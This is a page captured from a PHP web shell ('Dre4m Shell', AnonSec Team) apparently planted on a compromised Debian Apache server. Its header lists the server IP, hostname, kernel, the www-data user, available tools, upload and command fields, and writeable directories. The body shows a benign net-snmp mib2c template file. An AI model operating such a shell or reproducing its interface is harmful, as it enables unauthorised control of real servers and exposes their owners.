Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.138.102.163
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/2/task/2/cwd/proc/2/root/usr/share/snmp/mib2c-data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/proc/2/task/2/cwd/proc/2/root/usr/share/snmp/mib2c-data/node-varbind-validate.m2i
#############################################################  -*- c -*-
## generic include for XXX. Do not use directly.
##
##
## Tests a netsnmp_variable_list pointer (var) against known
## contstraints. If none are found, calls the user supplied funtion
## ${node}_check_value.
##
## Sets the variable rc to a SNMP_ERR.
##
## Requirements
## ------------
##
########################################################################
@if $m2c_mark_boundary == 1@
/** START code generated by node-varbind-validate.m2i */
@end@
########################################################################
##----------------------------------------------------------------------
## setup
##----------------------------------------------------------------------
@if $m2c_paranoid == 1@
netsnmp_assert(rc == SNMP_ERR_NOERROR); /* paranoia */
@end@
##----------------------------------------------------------------------
## syntax specific
##----------------------------------------------------------------------
@ifconf syntax-$node.syntax-varbind-validate.m2i@
@   include syntax-$node.syntax-varbind-validate.m2i@
@else@
##----------------------------------------------------------------------
## Check type
##----------------------------------------------------------------------
## if not generated code, length checks are up to user
@   if "$m2c_data_context" ne "generated"@
    rc = netsnmp_check_vb_type( var, $node.type );
@   elsif ($m2c_node_needlength == 1) || ("$node.perltype" eq "BITS")@
    rc = netsnmp_check_vb_type_and_max_size( var, $node.type,
        sizeof( $m2c_nvv_item$node ) );
@   else@
    rc = netsnmp_check_vb_type_and_size( var, $node.type,
        sizeof( $m2c_nvv_item$node ) );
@   end@
@   eval $m2c_nv_val = "*var->val.integer"@
@   eval $m2c_nv_len = "var->val_len"@
@   eval $m2c_nv_str = "var->val.string"@
@   include node-validate.m2i@
@end@ # not syntax specific
##
########################################################################
@if $m2c_mark_boundary == 1@
/** END code generated by node-varbind-validate.m2i */
@end@

Anon7 - 2022
AnonSec Team